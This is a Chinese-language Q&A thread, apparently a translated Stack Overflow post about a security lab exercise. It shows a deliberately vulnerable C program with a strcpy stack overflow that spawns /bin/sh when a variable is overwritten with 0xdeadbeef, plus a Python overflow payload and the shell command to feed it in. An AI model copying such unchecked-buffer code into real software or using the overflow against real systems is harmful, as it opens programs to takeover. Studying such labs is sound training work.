如何将stdout连接到位于不同目录中的文件？

Question

我希望将python文件exploit1.py的stdout作为C可执行lab2C.c的命令行参数来接受。我的目的是使lab2C.c中的char缓冲区溢出，以便内存泄漏到int set_me。这将导致位于main()中的条件语句调用shell()函数，即使我没有输入正确的密码。

问题是，exploit1.py和lab2C.c位于两个不属于同一本地路径的不同目录中。exploit1.py位于/tmp。lab2C和lab2C.c位于/levels/lab02。如何将exploit1.py的标准输出作为lab2C的主要功能参数？

以下是两个供参考的文件：

利用1.py：

def main():

    print("aaabbbcccdddeee\xef\xbe\xad\xde")

main()

lab2C.c：

#include 
#include 
#include 

void shell()
{
        printf("You did it.\n");
        system("/bin/sh");
}

int main(int argc, char** argv){
    if(argc != 2)
    {
            printf("usage:\n%s string\n", argv[0]);
            return EXIT_FAILURE;
    }

    int set_me = 0;
    char buf[15];
    strcpy(buf, argv[1]);

    if(set_me == 0xdeadbeef)
    {
            shell();
    }
    else
    {
            printf("Not authenticated.\nset_me was %d\n", set_me);
    }

    return EXIT_SUCCESS;
}

Answer 1

你的C程序不会从标准输入中读取，所以没有任何东西可以通过管道传输到它。不过，它需要命令行参数，因此您必须将其调用为

/levels/lab02/lab2C.exe "$(python /tmp/exploit1.py)"

如果您目前位于/levels/lab02中，则可以将其缩短为

./lab2C.exe "$(python /tmp/exploit1.py)"

请注意，在Unix上给可执行文件以.exe后缀是不常见的。您的代码中也有错误(缓冲区溢出和缺少标头)，Python代码中的字符串不像您认为的那样(斜杠可能是反斜杠)。